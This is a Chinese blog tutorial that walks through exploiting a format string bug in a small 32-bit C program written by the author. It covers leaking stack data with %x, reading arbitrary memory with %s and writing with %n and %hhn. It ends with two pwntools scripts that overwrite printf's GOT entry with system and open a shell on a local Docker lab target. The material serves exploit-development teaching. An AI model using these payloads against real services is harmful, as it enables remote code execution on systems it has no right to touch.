PWN_06-format_x86分析(格式化字符串的32位利用)

  1. 源程序
  2. 开始调试程序
  3. 使用格式化字符串任意写
  4. 漏洞利用
  5. 结果
  6. exp改进(自行研究)

源程序

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include <unistd.h>
void showVersion(){
    system("uname -a");
}
int main(){
    char s[20] = "I am PWND0U\n";
    showVersion();
    printf(s);
    while(1){
        memset(s,0,sizeof(s));
        read(0,s,sizeof(s));
        printf(s);        
    }
    return 0;
}
  • 编译命令

    gcc -o format_x86 format_x86.c 
  • 程序流程解读

    • 进入主程序
    • 定义一个char类型的数组,大小为20,并初始化为“I am PWND0U\n”
    • 调用showVersion函数,执行system函数,打印系统信息
    • 之后返回主函数继续执行,打印s的内容
    • 之后进入死循环,要求我们输入字符串字后原样打印
  • 在ubuntu下测试程序

    程序执行开始

  • 输入字符串,查看结果

    打印结果显示

  • 但是当我们输入一些特定的字符时输出出现了变化

    特定字符

  • 可以看到,当我们输入printf可识别的格式化字符串时,printf会将其作为格式化字符串进行解析并输出。原理很简单,形如printf(“%s”, “Hello world”)的使用形式会把第一个参数%s作为格式化字符串参 数进行解析,在这里由于我们直接用printf输出一个变量,当变量也正好是格式化字符串时,自然就会被 printf解析。那么后面输出的内容又是什么呢?我们继续做实验。

  • 补充

    • 当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。

开始调试程序

  • 导入IDAPro进行动态调试

  • 我们直接在call _printf一行下断点然后以调试方式启动程序,然后输入一大串%x.,输出结果如图

    结果

  • 栈中情况

    栈情况

  • 通过打印的内容和我们栈中内容可以发现,我们可以通过输入特定的参数,来让printf函数打印响应的内容。我们输入%x可以发现打印的内容刚好就是我们现在栈中的内容

  • 我们输入%s进行测试

    输出结果

  • 我们知道格式化字符串里有%s,用于输出字符。其本 质上是读取对应的参数,并作为指针解析,获取到对应地址的字符串输出。我们看到输出了%s后还接了一个换行,对应的栈和数据如下:

    数据

  • 栈顶是第一个参数,也就是我们输入的%s, 第二个参数的地址和第一个参数一样,作为地址解析指向的还 是%s和回车0x0A。由于此时我们可以通过输入来操控栈,我们可以输入一个地址,再让%s正好对应到这个地 址,从而输出地址指向的字符串,实现任意地址读。

    第六个参数为我们输入的地址

  • 通过刚刚的调试我们可以发现,我们的输入从第六个参数开始(上图从栈顶往下数第六个‘000A7325’ = %s\n\x00)。所以我们可以构造字符串”\x01\x80\x04\x08%x.%x.%x.%x.%s“。这里前面的地址是ELF文件加 载的地址08048000+1,为什么不是08048000后面再说,有兴趣的可以自己试验一下。

    打印刚刚哦们写入的地址

    %s打印

  • 我们成功地泄露出了地址0x08048001内的内容

  • 由于我们的输入本体 恰好在printf读取参数的第六个参数的位置,所以我们把地址布置在开头,使其被printf当做第六个参数。 接下来是格式化字符串,使用%x处理掉第二到第五个参数(我们的输入所在地址是第一个参数),使用%s将第六个参数作为地址解析。但是如果输入长度有限制,而且我们的输入位于printf的第几十个参数之外要怎么 办呢?叠加%x显然不现实。因此我们需要用到格式化字符串的另一个特性。 格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数,如输出第五个参数可以写为%4$s,第六 个为%5$s,需要输出第n个参数就是%(n-1)$[格式化控制符]。因此我们的payload可以简化为”\x01\x80\ x04\x08%5$s”

    成功打印

使用格式化字符串任意写

  • 使用printf进行写入。 printf有一个特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字 符会将已输出的字符数写入到对应参数的内存中。我们将payload改成“\x8c\x97\x04\x08%5$n”,其中 0804978c是.bss段的首地址,一个可写地址。执行前该地址中的内容是0

    输入结果

    • 栈情况

      为04

    • 回车没 有被计算在内,总共4个字符

    • 我们再次修改payload为“\x8c\x97\x04\x08%2048c%5$n”,成功把0804978c里的内容修改成0x804

      结果

      结果

    • 成功修改为0x0804

漏洞利用

  • 补充知识点:

    • 所以有个叫got表覆写的技术就是基于got的工作原理,将plt表只想的got表中的地址覆盖为我们想要跳转到的要执行的函数的真实地址,这样就可以做到我们根据流程要执行a()函数,但是却是执行了b()函数的效果。
    • 那一般有哪些可以这么做的目前我碰到的有scanf(a)的漏洞讲道理感觉不算漏洞,只是萌新程序员会出现的错误而已,这样就直接可以去把a中的值尝试覆盖成自己想要的那个函数的plt地址的值后在用scanf直接完成got表的覆写。
      之后就是用printf的任意写漏洞来实现got表的覆写。
  • 现在我们已经验证了任意地址读写,接下来可以构造exp拿shell了。 由于我们可以任意地址写,且程序里有system函数,因此我们在这里可以直接选择劫持一个函数的got表项 为system的plt表项,从而执行system(“/bin/sh”)。劫持哪一项呢?我们发现在got表中只有四个函数, 且printf函数可以单参数调用,参数又正好是我们输入的。因此我们可以劫持printf为system,然后再次通 过read读取”/bin/sh”,此时printf(“/bin/sh”)将会变成system(“/bin/sh”)。根据之前的任意地址 写实验,我们很容易构造payload如下:

    printf_got = 0x08049778 
    system_plt = 0x08048320 
    payload = p32(printf_got)+"%"+str(system_plt-4)+"c%5$n"
  • 最终exp:

    from pwn import *
    io = remote("172.17.0.2",10001)
    printf_got = 0x08049778 
    system_plt = 0x08048320 
    payload = p32(printf_got)+"%"+str(system_plt-4)+"c%5$n"
    print io.recv()
    io.sendline(payload)
    io.sendline("/bin/bash")
    io.interactive()

结果

结果

exp改进(自行研究)

  • 使用format(比赛推荐使用)

    payload = fmtstr_payload(5, {printf_got:system_plt})
  • 由于我们所有的试验都是在本机/虚拟机和docker之间进行,所以不会受到网络环境的影响。而在实际的比 赛和漏洞利用环境中,一次性传输如此大量的数据可能会导致网络卡顿甚至中断连接。因此,我们必须换一 种写exp的方法。 我们知道,在64位下有%lld, %llx等方式来表示四字(qword)长度的数据,而对称地,我们也可以使用%hd, %hhx这样的方式来表示字(word)和字节(byte)长度的数据,对应到%n上就是%hn, %hhn。为了防止修改的地 址有误导致程序崩溃,我们仍然需要一次性把got表中的printf项改掉,因此使用%hhn时我们就必须一次修 改四个字节。那么我们就得重新构造一下payload,自行研究exp

    from pwn import *
    
    io = remote('172.17.0.2', 10001)
    context.update(arch = 'i386', os = 'linux')
    
    offset = 5
    printf_got = 0x08049778
    system_plt = 0x08048320
    
    payload = p32(printf_got)        #使用hhn写入,所以需要四个地址,分别对应待写入的第4~1字节
    payload += p32(printf_got+1)
    payload += p32(printf_got+2)
    payload += p32(printf_got+3)
    payload += "%"        
    payload += str(0x20-16)            #被写入的数据,注意四个地址长度是16,需要减掉
    payload += "c%5$hhn"
    payload += "%"
    payload += str(0x83-0x20)        
    payload += "c%6$hhn"
    payload += "%"
    payload += str(0x104-0x83)        #由于是hhn所以会被截断,只留后两位
    payload += "c%7$hhn"
    payload += "%"
    payload += str(0x08-0x04)
    payload += "c%8$hhn"
    
    #payload = fmtstr_payload(5, {printf_got:system_plt})
    io.sendline(payload)
    io.recv()
    io.sendline('/bin/sh\x00')
    io.interactive()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_06-format_x86分析(格式化字符串的32位利用)

本文作者:二豆子·pwnd0u

发布时间:2020-01-21, 22:47:02

最后更新:2020-11-21, 16:33:11

原始链接:http://blog.codefat.cn/2020/01/21/3-1-format-x86%E5%88%86%E6%9E%90-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%8432%E4%BD%8D%E5%88%A9%E7%94%A8/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/